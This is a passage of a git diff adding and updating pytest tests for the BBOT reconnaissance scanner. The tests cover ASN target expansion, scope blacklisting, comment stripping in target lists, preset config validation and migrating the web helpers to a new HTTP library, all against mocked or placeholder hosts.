+    assert event_seed.data == "asnxyz"
+
+    # Test valid edge cases
+    valid_formats = ["ASN:0", "AS:0", "ASN:4294967295", "AS:4294967295"]
+    for valid_format in valid_formats[:2]:  # Test just a couple to avoid huge ASN numbers
+        event_seed = EventSeed(valid_format)
+        assert event_seed.type == "ASN"
+
+    # Test ASN with no subnets
+    from unittest.mock import AsyncMock, MagicMock, patch
+
+    mock_empty_client = MagicMock()
+    mock_empty_client.lookup_asn = AsyncMock(return_value=None)
+    mock_empty_client.cleanup = AsyncMock()
+
+    target = BBOTTarget(target=["ASN:99999"])  # Non-existent ASN
+
+    initial_seeds = len(target.seeds.event_seeds)
+    with patch("asndb.ASNDB", return_value=mock_empty_client):
+        scan = bbot_scanner("ASN:99999")
+        await target.generate_children(helpers=scan.helpers)
+
+    # Should not add any new seeds for empty ASN
+    assert len(target.seeds.event_seeds) == initial_seeds
+
+    # Test that ASN blacklisting would happen after expansion
+    # Since ASN targets can't be directly added to blacklist (no host),
+    # the proper way would be to expand the ASN and then blacklist the IP ranges
+    target = BBOTTarget(target=["evilcorp.com"])
+    # This demonstrates the intended usage pattern - add expanded IP ranges to blacklist
+    target.blacklist.add("8.8.8.0/24")  # Would come from ASN expansion
+    assert "8.8.8.0/24" in target.blacklist.inputs
+
+
+@pytest.mark.asyncio
+async def test_asn_blacklist_functionality(bbot_scanner):
+    """Test ASN blacklisting: IP range target with ASN in blacklist should expand and block subnets."""
+    from unittest.mock import AsyncMock, MagicMock, patch
+
+    mock_client = MagicMock()
+    mock_client.lookup_asn = AsyncMock(
+        return_value={
+            "asn": 15169,
+            "subnets": ["8.8.8.0/24"],
+        }
+    )
+    mock_client.cleanup = AsyncMock()
+
+    with patch("asndb.ASNDB", return_value=mock_client):
+        # Target: 8.8.8.0/23 (includes 8.8.8.0/24 and 8.8.9.0/24)
+        # Blacklist: ASN:15169 (should expand to 8.8.8.0/24 and block it)
+        scan = bbot_scanner("8.8.8.0/23", blacklist=["ASN:15169"])
+        await scan._prep()
+
+        # The ASN should have been expanded and the subnet should be in blacklist
+        assert "8.8.8.0/24" in scan.preset.target.blacklist.hosts
+
+        # 8.8.8.x should be blocked (ASN subnet in blacklist)
+        assert not scan.in_scope("8.8.8.1")
+        assert not scan.in_scope("8.8.8.8")
+        assert not scan.in_scope("8.8.8.255")
+
+        # 8.8.9.x should be allowed (in target but ASN doesn't cover this)
+        assert scan.in_scope("8.8.9.1")
+        assert scan.in_scope("8.8.9.8")
+        assert scan.in_scope("8.8.9.255")
+
+        # IPs outside the target should not be in scope
+        assert not scan.in_scope("8.8.7.1")
+        assert not scan.in_scope("8.8.10.1")
+
+
+@pytest.mark.asyncio
+async def test_asn_len_overflow(bbot_scanner):
+    """Regression test: len() on targets with many ASN subnets must not overflow.
+
+    RadixTarget.__len__() counts individual IPs, which can exceed sys.maxsize
+    for large ASNs (e.g. AS15169 with 1000+ subnets). The scanner log message
+    must use len(event_seeds) instead.
+    """
+    from unittest.mock import AsyncMock, MagicMock, patch
+
+    # Simulate a large ASN with many /16 subnets — total IPs would overflow an index
+    many_subnets = [f"10.{i}.0.0/16" for i in range(200)]
+
+    mock_client = MagicMock()
+    mock_client.lookup_asn = AsyncMock(return_value={"asn": 99999, "subnets": many_subnets})
+    mock_client.cleanup = AsyncMock()
+
+    with patch("asndb.ASNDB", return_value=mock_client):
+        scan = bbot_scanner("ASN:99999")
+        # _prep() calls generate_children() and then does len(self.seeds.event_seeds)
+        # Before the fix, this raised OverflowError from len() on the RadixTarget
+        await scan._prep()
+
+        # Verify expansion worked
+        assert len(scan.preset.target.seeds.event_seeds) > 200
+
+
+@pytest.mark.asyncio
+async def test_asn_event_json_serialization(bbot_scanner):
+    """Regression test: ASN events must serialize and deserialize correctly."""
+    from unittest.mock import AsyncMock, MagicMock, patch
+    from bbot.core.event.base import event_from_json
+
+    mock_client = MagicMock()
+    mock_client.lookup_asn = AsyncMock(return_value={"asn": 12345, "subnets": ["192.0.2.0/24"]})
+    mock_client.cleanup = AsyncMock()
+
+    with patch("asndb.ASNDB", return_value=mock_client):
+        scan = bbot_scanner("ASN:12345")
+        await scan._prep()
+
+        # Create an ASN event like the scanner does (bare int input)
+        asn_event = scan.make_event(12345, "ASN", parent=scan.root_event)
+        assert asn_event.data == {"asn": 12345}
+
+        # Serialize to JSON
+        j = asn_event.json()
+        assert j["type"] == "ASN"
+        assert j["data_json"] == {"asn": 12345}
+
+        # Round-trip: reconstruct from JSON
+        reconstructed = event_from_json(j)
+        assert reconstructed.type == "ASN"
+        assert reconstructed.data == {"asn": 12345}
+
+
+@pytest.mark.asyncio
+async def test_asn_resolution_failure_aborts_scan(bbot_scanner):
+    """When the asndb API is unreachable, the scan should abort gracefully with a helpful message."""
+    from unittest.mock import AsyncMock, MagicMock, patch
+
+    from bbot.errors import ScanError
+
+    mock_client = MagicMock()
+    mock_client.lookup_asn = AsyncMock(side_effect=Exception("connection refused"))
+    mock_client.cleanup = AsyncMock()
+
+    with patch("asndb.ASNDB", return_value=mock_client):
+        scan = bbot_scanner("ASN:15169")
+        with pytest.raises(ScanError, match="Failed to resolve ASN target"):
+            await scan._prep()
+
+    # Should have retried 3 times
+    assert mock_client.lookup_asn.call_count == 3
+
+
+@pytest.mark.asyncio
+async def test_asn_resolution_failure_retries(bbot_scanner):
+    """ASN resolution should succeed if a retry works after initial failures."""
+    from unittest.mock import AsyncMock, MagicMock, patch
+
+    call_count = 0
+
+    async def lookup_asn_side_effect(*args, **kwargs):
+        nonlocal call_count
+        call_count += 1
+        if call_count < 3:
+            raise Exception("connection refused")
+        return {"asn": 15169, "subnets": ["8.8.8.0/24"]}
+
+    mock_client = MagicMock()
+    mock_client.lookup_asn = AsyncMock(side_effect=lookup_asn_side_effect)
+    mock_client.cleanup = AsyncMock()
+
+    with patch("asndb.ASNDB", return_value=mock_client):
+        scan = bbot_scanner("ASN:15169")
+        await scan._prep()
+
+        # Should have succeeded on the 3rd attempt
+        assert call_count == 3
+        assert "8.8.8.0/24" in scan.preset.target.seeds.hosts
+
+
 @pytest.mark.asyncio
 async def test_blacklist_regex(bbot_scanner, bbot_httpserver):
     from bbot.scanner.target import ScanBlacklist
@@ -390,9 +675,10 @@ async def test_blacklist_regex(bbot_scanner, bbot_httpserver):
 
     # make sure URL is detected normally
     scan = bbot_scanner("http://127.0.0.1:8888/", presets=["spider"], config={"excavate": True}, debug=True)
+    await scan._prep()
     assert {r.pattern for r in scan.target.blacklist.blacklist_regexes} == {r"/.*(sign|log)[_-]?out"}
     events = [e async for e in scan.async_start()]
-    urls = [e.data for e in events if e.type == "URL"]
+    urls = [e.url for e in events if e.type == "URL"]
     assert len(urls) == 2
     assert set(urls) == {"http://127.0.0.1:8888/", "http://127.0.0.1:8888/asdfevil333asdf"}
 
@@ -404,6 +690,7 @@ async def test_blacklist_regex(bbot_scanner, bbot_httpserver):
         config={"excavate": True},
         debug=True,
     )
+    await scan._prep()
     assert len(scan.target.blacklist) == 2
     assert scan.target.blacklist.blacklist_regexes
     assert {r.pattern for r in scan.target.blacklist.blacklist_regexes} == {
@@ -411,6 +698,178 @@ async def test_blacklist_regex(bbot_scanner, bbot_httpserver):
         r"/.*(sign|log)[_-]?out",
     }
     events = [e async for e in scan.async_start()]
-    urls = [e.data for e in events if e.type == "URL"]
+    urls = [e.url for e in events if e.type == "URL"]
     assert len(urls) == 1
     assert set(urls) == {"http://127.0.0.1:8888/"}
+
+
+def test_blacklist_get_invalid_host():
+    """Blacklist.get() should not crash when _make_event_seed returns None for an invalid host."""
+    from bbot.scanner.target import ScanBlacklist
+
+    blacklist = ScanBlacklist("bad.com")
+    # Inputs that fail EventSeed validation (e.g. wildcards, single chars) cause
+    # _make_event_seed() to return None. Previously this crashed with:
+    # AttributeError: 'NoneType' object has no attribute 'host'
+    for invalid in ["*", "*.example.com", "a", ""]:
+        result = blacklist.get(invalid)
+        assert result is None
+    # Multi-level subdomains should never crash Blacklist.get(), even if
+    # future changes cause EventSeed to reject them
+    for hostname in ["cdn.info.test.example.com", "a.b.c.d.example.com", "x.y.example.co.uk"]:
+        result = blacklist.get(hostname)
+        assert result is None
+    # Verify actual blacklisted hosts still work
+    result = blacklist.get("bad.com")
+    assert result is not None
+
+
+def test_no_double_parsing():
+    """Regression test: when seeds are auto-populated from target, EventSeed parsing
+    should happen only once (via ScanTarget), not twice. BBOTTarget should pass
+    pre-parsed EventSeed objects to ScanSeeds instead of raw strings."""
+    from unittest.mock import patch
+    from bbot.scanner.target import BBOTTarget
+    from bbot.core.event.helpers import EventSeed as _real_EventSeed
+
+    targets = ["evilcorp.com", "1.2.3.4", "https://example.com", "10.0.0.0/24"]
+
+    call_count = 0
+    original_EventSeed = _real_EventSeed
+
+    def counting_EventSeed(input):
+        nonlocal call_count
+        call_count += 1
+        return original_EventSeed(input)
+
+    with patch("bbot.scanner.target.EventSeed", side_effect=counting_EventSeed):
+        BBOTTarget(target=targets)
+
+    # EventSeed should be called once per target (for ScanTarget), not twice
+    assert call_count == len(targets), (
+        f"EventSeed was called {call_count} times for {len(targets)} targets; "
+        f"expected {len(targets)} (seeds should reuse pre-parsed EventSeed objects)"
+    )
+
+
+def test_target_comments():
+    """Target strings support # comments — both full-line and inline."""
+    from bbot.scanner.target import BBOTTarget
+
+    target = BBOTTarget(
+        target=[
+            "# this is a full-line comment",
+            "evilcorp.com # main evilcorp domain",
+            "  # indented comment  ",
+            "1.2.3.0/24 # internal network",
+            "othercorp.com",
+        ],
+    )
+
+    # comment-only lines are ignored
+    assert len(target.target) == 3
+
+    # inline comments are stripped — targets work normally
+    assert target.in_target("evilcorp.com")
+    assert target.in_target("www.evilcorp.com")
+    assert target.in_target("1.2.3.4")
+    assert target.in_target("othercorp.com")
+
+    # the comment text itself is not a target
+    assert not target.in_target("main")
+    assert not target.in_target("internal")
+
+
+def test_target_comments_url_fragment_not_stripped():
+    """A # inside a URL (fragment) must NOT be treated as a comment.
+
+    BBOT's URL normalisation may drop fragments, but the important thing
+    is that the host is still recognised as a valid target.
+    """
+    from bbot.scanner.target import BBOTTarget
+
+    target = BBOTTarget(target=["http://evilcorp.com/page#section"])
+    assert target.in_target("evilcorp.com")
+    assert len(target.target) == 1
+
+
+def test_target_comments_blacklist():
+    """Comments work for blacklist entries too."""
+    from bbot.scanner.target import BBOTTarget
+
+    target = BBOTTarget(
+        target=["evilcorp.com"],
+        blacklist=[
+            "# don't scan the blog",
+            "blog.evilcorp.com # unstable host",
+        ],
+    )
+    assert target.in_scope("www.evilcorp.com")
+    assert not target.in_scope("blog.evilcorp.com")
+    assert len(target.blacklist) == 1
+
+
+def test_target_comments_seeds():
+    """Comments work for seed entries too."""
+    from bbot.scanner.target import BBOTTarget
+
+    target = BBOTTarget(
+        target=["evilcorp.com"],
+        seeds=[
+            "# seed comment",
+            "evilcorp.com # the main domain",
+        ],
+    )
+    assert "evilcorp.com" in target.seeds
+    assert len(target.seeds) == 1
+
+
+def test_target_comments_from_file(tmp_path):
+    """Comments in a target file are stripped when loaded via chain_lists."""
+    from bbot.core.helpers.misc import chain_lists
+
+    target_file = tmp_path / "targets.txt"
+    target_file.write_text(
+        "# My target list\n"
+        "evilcorp.com # main domain\n"
+        "\n"
+        "  # another comment\n"
+        "othercorp.com\n"
+        "192.168.1.0/24 # lab network\n"
+        "http://example.com/page#fragment # with a URL fragment\n"
+    )
+
+    result = chain_lists([str(target_file)], try_files=True, _strip_comments=True)
+    assert "evilcorp.com" in result
+    assert "othercorp.com" in result
+    assert "192.168.1.0/24" in result
+    assert "http://example.com/page#fragment" in result
+    # comments and blank lines are gone
+    assert not any(r.lstrip().startswith("#") for r in result)
+    assert len(result) == 4
+
+
+def test_strip_comments_helper():
+    """Unit tests for the strip_comments function."""
+    from bbot.core.helpers.misc import strip_comments
+
+    # full-line comments
+    assert strip_comments("# comment") == ""
+    assert strip_comments("  # indented comment") == ""
+
+    # inline comments
+    assert strip_comments("evilcorp.com # main domain") == "evilcorp.com"
+    assert strip_comments("1.2.3.0/24\t# tab comment") == "1.2.3.0/24"
+
+    # no comment
+    assert strip_comments("evilcorp.com") == "evilcorp.com"
+
+    # URL fragment (no space before #) is preserved
+    assert strip_comments("http://example.com/page#section") == "http://example.com/page#section"
+
+    # URL fragment with trailing inline comment
+    assert strip_comments("http://example.com/page#section # a comment") == "http://example.com/page#section"
+
+    # empty / whitespace
+    assert strip_comments("") == ""
+    assert strip_comments("   ") == "   "
diff --git a/bbot/test/test_step_1/test_validate_preset.py b/bbot/test/test_step_1/test_validate_preset.py
new file mode 100644
index 0000000000..4844381aee
--- /dev/null
+++ b/bbot/test/test_step_1/test_validate_preset.py
@@ -0,0 +1,313 @@
+from ..bbot_fixtures import *  # noqa: F401
+
+from bbot.scanner import validate_preset
+
+
+def test_validate_preset_valid():
+    errs = validate_preset({"modules": ["sslcert"], "config": {"scope": {"strict": True}}})
+    assert errs == []
+
+
+def test_validate_preset_typo_top_level():
+    errs = validate_preset({"modlues": ["nuclei"]})
+    assert len(errs) == 1
+    assert errs[0].where == "preset"
+    assert "modlues" in errs[0].message
+
+
+def test_validate_preset_typo_in_config():
+    errs = validate_preset({"config": {"scope": {"strct": True}}})
+    assert len(errs) == 1
+    assert errs[0].where == "config"
+    assert "strct" in errs[0].message
+    assert errs[0].path == "scope.strct"
+
+
+def test_validate_preset_wrong_type():
+    errs = validate_preset({"config": {"web": {"http_timeout": "not-a-number"}}})
+    assert len(errs) == 1
+    assert errs[0].where == "config"
+    assert errs[0].path == "web.http_timeout"
+    assert "integer" in errs[0].message
+
+
+def test_validate_preset_unknown_module():
+    errs = validate_preset({"modules": ["nucleii"]})
+    # closest-match suggestion: "Could not find module 'nucleii'. Did you mean 'nuclei'?"
+    assert any('"nucleii"' in str(e) and "nuclei" in str(e) for e in errs)
+
+
+def test_validate_preset_unknown_module_option():
+    """Typo in a known module's option key gets tagged `module:<name>`."""
+    errs = validate_preset({"config": {"modules": {"nuclei": {"tgas": "apache"}}}})
+    assert len(errs) == 1
+    assert errs[0].where == "module:nuclei"
+    assert errs[0].path == "tgas"
+    assert "tgas" in errs[0].message
+
+
+def test_validate_preset_wrong_type_on_module_option():
+    """Known module option with wrong type (nuclei.ratelimit is int)."""
+    errs = validate_preset({"config": {"modules": {"nuclei": {"ratelimit": "not-a-number"}}}})
+    assert len(errs) == 1
+    assert errs[0].where == "module:nuclei"
+    assert errs[0].path == "ratelimit"
+    assert "integer" in errs[0].message
+
+
+def test_validate_preset_unknown_module_in_config():
+    """Unknown module name nested under config.modules gets a clean error."""
+    errs = validate_preset({"config": {"modules": {"nucleii": {"tgas": "x"}}}})
+    # closest-match: "Could not find module 'nucleii'. Did you mean 'nuclei'?"
+    assert any('"nucleii"' in str(e) and "nuclei" in str(e) for e in errs)
+
+
+def test_validate_preset_multiple_errors():
+    """A preset with several typos should produce errors for all of them, not just the first."""
+    errs = validate_preset(
+        {
+            "modlues": ["x"],  # typo in top-level key
+            "config": {
+                "scope": {"strct": True},  # typo in config section
+                "web": {"http_timeout": "bad"},  # wrong type
+            },
+        },
+    )
+    assert len(errs) >= 3
+    messages = " ".join(str(e) for e in errs)
+    assert "modlues" in messages
+    assert "strct" in messages
+    assert "http_timeout" in messages
+
+
+def test_validate_preset_non_dict():
+    errs = validate_preset(["not a dict"])
+    assert len(errs) == 1
+    assert "dict" in errs[0].message
+
+
+def test_validate_preset_config_modules_as_list():
+    """`config.modules` given as a list (wrong shape) used to crash with IndexError."""
+    errs = validate_preset({"config": {"modules": ["nuclei"]}})
+    assert len(errs) == 1
+    assert errs[0].where == "config"
+    assert errs[0].path == "modules"
+
+
+def test_validate_preset_module_dirs_as_string():
+    """`module_dirs` as a string used to iterate characters and raise PermissionError."""
+    errs = validate_preset({"module_dirs": "/tmp/foo"})
+    assert any(e.path == "module_dirs" and "list" in e.message for e in errs)
+
+
+def test_validate_preset_modules_as_string_no_cascade():
+    """`modules: "nuclei"` (string instead of list) should NOT produce per-character lookups."""
+    errs = validate_preset({"modules": "nuclei"})
+    # exactly one type error, no per-character bogus suggestions
+    assert len(errs) == 1
+    assert errs[0].path == "modules"
+    assert "list" in errs[0].message
+
+
+def test_validate_preset_non_string_module_entry_no_crash():
+    """A non-string entry in modules/output_modules/exclude_modules (e.g. a dangling YAML
+    list item -> None) must be reported as a type error, never raise TypeError."""
+    # dangling YAML item -> None
+    errs = validate_preset({"modules": ["nuclei", None]})
+    assert len(errs) == 1
+    assert errs[0].path == "modules.1"
+    assert "string" in errs[0].message and "None" in errs[0].message
+
+    # a typo alongside the bad entry: both surface, still no crash
+    errs = validate_preset({"modules": ["nucleii", None]})
+    assert len(errs) == 2
+    assert any('Did you mean "nuclei"' in str(e) for e in errs)
+
+    # int and unhashable (dict) entries must not crash the set membership / difflib calls
+    errs = validate_preset({"output_modules": [123], "exclude_modules": [{"a": 1}]})
+    assert len(errs) == 2
+    assert all("string" in e.message for e in errs)
+
+
+def test_validate_preset_top_level_typo_suggests_preset_field():
+    """Typos at the preset root should suggest preset field names, not config paths."""
+    cases = [
+        ("modlues", "modules"),
+        ("flgas", "flags"),
+        ("targest", "target"),
+        ("output_moduels", "output_modules"),
+    ]
+    for typo, expected in cases:
+        errs = validate_preset({typo: ["x"]})
+        assert any(f'"{typo}"' in str(e) and f'"{expected}"' in str(e) for e in errs), (
+            f"expected suggestion {expected!r} for typo {typo!r}, got: {[str(e) for e in errs]}"
+        )
+
+
+def test_validate_preset_file_missing_returns_error():
+    """A missing preset path should be reported as a single error, not raised."""
+    from bbot.scanner import validate_preset_file
+
+    errs = validate_preset_file("/tmp/does-not-exist-bbot-fuzz.yml")
+    assert len(errs) == 1
+    assert "not found" in errs[0].message.lower()
+
+
+def test_from_dict_raises_on_typos():
+    """from_dict() should reject typo'd preset dicts up front instead of letting
+    them flow through to bake()."""
+    from bbot.errors import ValidationError as BBOTValidationError
+    from bbot.scanner.preset import Preset
+
+    import pytest
+
+    with pytest.raises(BBOTValidationError) as excinfo:
+        Preset.from_dict({"modlues": ["nuclei"]})
+    assert "modlues" in str(excinfo.value)
+
+
+def test_from_yaml_string_raises_on_top_level_typo():
+    """A top-level key typo in a YAML string is rejected up front by from_dict's gate."""
+    from bbot.errors import ValidationError as BBOTValidationError
+    from bbot.scanner.preset import Preset
+
+    import pytest
+
+    with pytest.raises(BBOTValidationError) as excinfo:
+        Preset.from_yaml_string("flgas:\n  - subdomain-enum\n")
+    assert "flgas" in str(excinfo.value)
+
+
+def test_from_yaml_config_typo_deferred_to_validate():
+    """A config-VALUE typo passes the top-level key gate; validate() catches it, not load."""
+    from bbot.errors import ValidationError as BBOTValidationError
+    from bbot.scanner.preset import Preset
+
+    import pytest
+
+    preset = Preset.from_yaml_string("config:\n  scope:\n    strct: true\n")
+    assert preset._validated is False
+    with pytest.raises(BBOTValidationError) as excinfo:
+        preset.validate()
+    assert "strct" in str(excinfo.value)
+
+
+def test_validate_preset_interactsh_server_accepts_valid():
+    """interactsh_server accepts FQDNs, IPv4, IPv6, None, and empty string."""
+    for v in ["example.com", "sub.example.com", "192.168.1.1", "::1", "", None]:
+        errs = validate_preset({"config": {"interactsh_server": v}})
+        assert errs == [], f"expected {v!r} to validate, got: {[str(e) for e in errs]}"
+
+
+def test_validate_preset_interactsh_server_rejects_invalid():
+    """A single-label hostname (a value without any dots, e.g. a typo'd
+    domain where the user forgot the TLD) or a value with whitespace must
+    be rejected at preset-load time, before any module tries to register
+    with the interactsh server."""
+    for v in ["badhost", "localhost", "with spaces.com"]:
+        errs = validate_preset({"config": {"interactsh_server": v}})
+        assert len(errs) == 1, f"expected {v!r} to fail validation"
+        assert errs[0].path == "interactsh_server"
+        assert "FQDN or IP" in errs[0].message
+        assert repr(v) in errs[0].message
+
+
+def test_defaults_yml_validates_against_schema():
+    """BBOT's own defaults.yml must pass its own validator. Guards against the pydantic
+    schema (core/config/models.py) silently drifting from defaults.yml -- if a key is
+    added/renamed in defaults.yml, the schema must keep up or this fails."""
+    import yaml
+    from pathlib import Path
+    import bbot
+
+    defaults = yaml.safe_load((Path(bbot.__file__).parent / "defaults.yml").read_text())
+    errs = validate_preset({"config": defaults})
+    assert errs == [], "defaults.yml must validate clean:\n" + "\n".join(str(e) for e in errs)
+
+
+def test_validate_preset_sql_retries_settable():
+    """`retries` is read by the shared SQLTemplate.setup, so each concrete SQL output
+    module must declare it in its Config (otherwise it's rejected as an unknown option)."""
+    for module in ("postgres", "mysql", "sqlite"):
+        errs = validate_preset({"config": {"modules": {module: {"retries": 5}}}})
+        assert errs == [], f"{module}.retries should validate, got: {[str(e) for e in errs]}"
+
+
+def test_validate_preset_wordlist_accepts_list():
+    """*_wordlist fields document a list form (merge multiple wordlists); the validating
+    path must accept a list, not only a string. Regression for a documented-feature break."""
+    for module, field in [
+        ("dnsbrute", "wordlist"),
+        ("paramminer_headers", "wordlist"),
+        ("webbrute", "wordlist"),
+        ("legba", "ssh_wordlist"),
+    ]:
+        errs = validate_preset({"config": {"modules": {module: {field: ["/tmp/a.txt", "/tmp/b.txt"]}}}})
+        assert errs == [], f"{module}.{field} list form should validate, got: {[str(e) for e in errs]}"
+
+
+def test_validate_preset_nuclei_mode_lowercase_literal():
+    """nuclei.mode is a lowercase Literal: lowercase values pass; anything else (incl.
+    mixed case) is rejected with the allowed values listed."""
+    assert validate_preset({"config": {"modules": {"nuclei": {"mode": "manual"}}}}) == []
+    errs = validate_preset({"config": {"modules": {"nuclei": {"mode": "MANUAL"}}}})
+    assert len(errs) == 1
+    assert errs[0].where == "module:nuclei" and errs[0].path == "mode"
+    assert "Expected one of" in errs[0].message and "'manual'" in errs[0].message
+
+
+def test_validate_preset_bad_module_dir_returns_errors(tmp_path):
+    """A custom module_dir containing an unloadable module (here a legacy options dict,
+    which preload rejects via sys.exit) must surface as an error, not kill the caller."""
+    from bbot.core.modules import ModuleLoader
+
+    mod_dir = tmp_path / "badmods"
+    mod_dir.mkdir()
+    (mod_dir / "legacymod.py").write_text(
+        "from bbot.modules.base import BaseModule\n"
+        "class legacymod(BaseModule):\n"
+        '    watched_events = ["DNS_NAME"]\n'
+        '    produced_events = ["DNS_NAME"]\n'
+        '    flags = ["passive", "safe"]\n'
+        '    meta = {"description": "x", "created_date": "2025-01-01", "author": "@x"}\n'
+        '    options = {"foo": "bar"}\n'
+        '    options_desc = {"foo": "a foo"}\n'
+    )
+    # isolated loader so the bad dir doesn't pollute the global one
+    errs = validate_preset(
+        {"module_dirs": [str(mod_dir)], "modules": ["legacymod"]},
+        module_loader=ModuleLoader(),
+    )
+    assert any(e.path == "module_dirs" for e in errs), [str(e) for e in errs]
+
+
+def test_build_validation_schema_tolerates_unexecable_config():
+    """A custom module whose `class Config` references a module-level name (valid at real
+    import, but unresolvable in the isolated exec namespace) must not break schema building.
+    The module falls back to accepting any config rather than being rejected."""
+    from bbot.core.modules import _build_validation_schema
+
+    preloaded = {
+        "synthmod": {
+            "config_source": (
+                "class Config(BaseModuleConfig):\n    threads: int = Field(MY_UNDEFINED_CONSTANT, description='x')\n"
+            ),
+        },
+    }
+    schema = _build_validation_schema(preloaded)  # must not raise
+    # the module is usable and accepts arbitrary config (lenient fallback)
+    assert schema.model_validate({"config": {"modules": {"synthmod": {"threads": 5, "anything": "x"}}}})
+
+
+def test_validate_preset_baddns_subclass_severity_is_validated():
+    """baddns_direct/baddns_zone validate min_severity/min_confidence against the shared
+    severity/confidence Literal (case-insensitive), not accept arbitrary strings."""
+    assert validate_preset({"config": {"modules": {"baddns_direct": {"min_severity": "low"}}}}) == []
+    errs = validate_preset({"config": {"modules": {"baddns_zone": {"min_severity": "BOGUS"}}}})
+    assert len(errs) == 1 and errs[0].path == "min_severity"
+    assert "Expected one of" in errs[0].message
+
+
+def test_validate_preset_shodan_idb_retries_is_int():
+    """shodan_idb.retries is numeric; the natural `retries: 3` must validate (was typed str)."""
+    assert validate_preset({"config": {"modules": {"shodan_idb": {"retries": 3}}}}) == []
diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py
index 31fe34d7d5..d3a0a7bdf6 100644
--- a/bbot/test/test_step_1/test_web.py
+++ b/bbot/test/test_step_1/test_web.py
@@ -1,11 +1,12 @@
 import re
-import httpx
+
+from blasthttp import HTTPStatusError
 
 from ..bbot_fixtures import *
 
 
 @pytest.mark.asyncio
-async def test_web_engine(bbot_scanner, bbot_httpserver, httpx_mock):
+async def test_web(bbot_scanner, bbot_httpserver, blasthttp_mock):
     from werkzeug.wrappers import Response
 
     def server_handler(request):
@@ -16,6 +17,7 @@ def server_handler(request):
     bbot_httpserver.expect_request(uri=re.compile(r"/nope")).respond_with_data("nope", status=500)
 
     scan = bbot_scanner()
+    await scan._prep()
 
     # request
     response = await scan.helpers.request(f"{base_url}1")
@@ -24,31 +26,22 @@ def server_handler(request):
 
     num_urls = 100
 
-    # request_batch
+    # request_batch_stream
     urls = [f"{base_url}{i}" for i in range(num_urls)]
-    responses = [r async for r in scan.helpers.request_batch(urls)]
+    responses = []
+    async for url, response in scan.helpers.request_batch_stream(urls):
+        responses.append((url, response))
     assert len(responses) == 100
     assert all(r[1].status_code == 200 and r[1].text.startswith(f"{r[0]}: ") for r in responses)
 
-    # request_batch w/ cancellation
-    agen = scan.helpers.request_batch(urls)
-    async for url, response in agen:
-        assert response.text.startswith(base_url)
-        await agen.aclose()
-        break
-
-    # request_custom_batch
+    # request_batch_stream with tracker
     urls_and_kwargs = [(urls[i], {"headers": {f"h{i}": f"v{i}"}}, i) for i in range(num_urls)]
-    results = [r async for r in scan.helpers.request_custom_batch(urls_and_kwargs)]
-    assert len(responses) == 100
-    for result in results:
-        url, kwargs, custom_tracker, response = result
-        assert "headers" in kwargs
-        assert f"h{custom_tracker}" in kwargs["headers"]
-        assert kwargs["headers"][f"h{custom_tracker}"] == f"v{custom_tracker}"
+    seen_trackers = set()
+    async for url, response, custom_tracker in scan.helpers.request_batch_stream(urls_and_kwargs):
         assert response.status_code == 200
         assert response.text.startswith(f"{url}: ")
-        assert f"H{custom_tracker}: v{custom_tracker}" in response.text
+        seen_trackers.add(custom_tracker)
+    assert seen_trackers == set(range(num_urls))
 
     # request with raise_error=True
     with pytest.raises(WebError):
@@ -58,13 +51,13 @@ def server_handler(request):
     except WebError as e:
         assert hasattr(e, "response")
         assert e.response is None
-    with pytest.raises(httpx.HTTPStatusError):
+    with pytest.raises(HTTPStatusError):
         response = await scan.helpers.request(bbot_httpserver.url_for("/nope"), raise_error=True)
         response.raise_for_status()
     try:
         response = await scan.helpers.request(bbot_httpserver.url_for("/nope"), raise_error=True)
         response.raise_for_status()
-    except httpx.HTTPStatusError as e:
+    except HTTPStatusError as e:
         assert hasattr(e, "response")
         assert e.response.status_code == 500
 
@@ -94,49 +87,72 @@ def server_handler(request):
 
 
 @pytest.mark.asyncio
-async def test_request_batch_cancellation(bbot_scanner, bbot_httpserver, httpx_mock):
-    import time
-    from werkzeug.wrappers import Response
-
-    urls_requested = []
+async def test_web_request_files_multipart(bbot_scanner, bbot_httpserver):
+    """httpx-style files= kwarg builds a multipart/form-data body."""
+    captured = {}
 
     def server_handler(request):
-        time.sleep(0.75)
-        urls_requested.append(request.url.split("/")[-1])
-        return Response(f"{request.url}: {request.headers}")
+        from werkzeug.wrappers import Response
 
-    base_url = bbot_httpserver.url_for("/test/")
-    bbot_httpserver.expect_request(uri=re.compile(r"/test/\d+")).respond_with_handler(server_handler)
+        captured["body"] = request.get_data()
+        captured["content_type"] = request.headers.get("Content-Type", "")
+        return Response("ok")
+
+    bbot_httpserver.expect_request(uri="/upload", method="POST").respond_with_handler(server_handler)
+    url = bbot_httpserver.url_for("/upload")
 
     scan = bbot_scanner()
+    await scan._prep()
+
+    response = await scan.helpers.request(
+        url,
+        method="POST",
+        files={
+            "field": (None, "value"),
+            "f": ("blob", b"\x00\x01\x02hello", "application/octet-stream"),
+        },
+    )
+    assert response.status_code == 200
 
-    urls = [f"{base_url}{i}" for i in range(100)]
+    ct = captured["content_type"]
+    assert ct.startswith("multipart/form-data; boundary=")
+    body = captured["body"]
+    assert b'name="field"' in body
+    assert b"value" in body
+    assert b'filename="blob"' in body
+    assert b"\x00\x01\x02hello" in body
 
-    # request_batch w/ cancellation
-    agen = scan.helpers.request_batch(urls)
-    got_urls = []
-    start = time.time()
-    async for url, response in agen:
-        assert response.text.startswith(base_url)
-        got_urls.append(url)
-        if time.time() > start + 1:
-            await agen.aclose()
-            break
+    await scan._cleanup()
 
-    assert 5 < len(got_urls) < 15
 
-    await scan._cleanup()
+@pytest.mark.asyncio
+async def test_web_request_rejects_conflicting_body_kwargs(bbot_scanner):
+    scan = bbot_scanner()
+    await scan._prep()
+    url = "http://example.com/"
+
+    pairs = [
+        {"json": {"a": 1}, "files": {"f": ("x", b"x")}},
+        {"json": {"a": 1}, "data": {"a": "b"}},
+        {"body": "raw", "json": {"a": 1}},
+        {"body": "raw", "data": {"a": "b"}},
+        {"body": "raw", "files": {"f": ("x", b"x")}},
+        {"data": {"a": "b"}, "files": {"f": ("x", b"x")}},
+    ]
+    for kwargs in pairs:
+        with pytest.raises(ValueError, match="conflicting body kwargs"):
+            await scan.helpers.request(url, method="POST", **kwargs)
 
-    # TODO: enforce qsize limits on zmq to help prevent runaway generators
-    # assert 10 <= len(urls_requested) <= 20
+    await scan._cleanup()
 
 
 @pytest.mark.asyncio
-async def test_web_helpers(bbot_scanner, bbot_httpserver, httpx_mock):
+async def test_web_helpers(bbot_scanner, bbot_httpserver, blasthttp_mock):
     # json conversion
     scan = bbot_scanner("evilcorp.com")
+    await scan._prep()
     url = "http://www.evilcorp.com/json_test?a=b"
-    httpx_mock.add_response(url=url, text="hello\nworld")
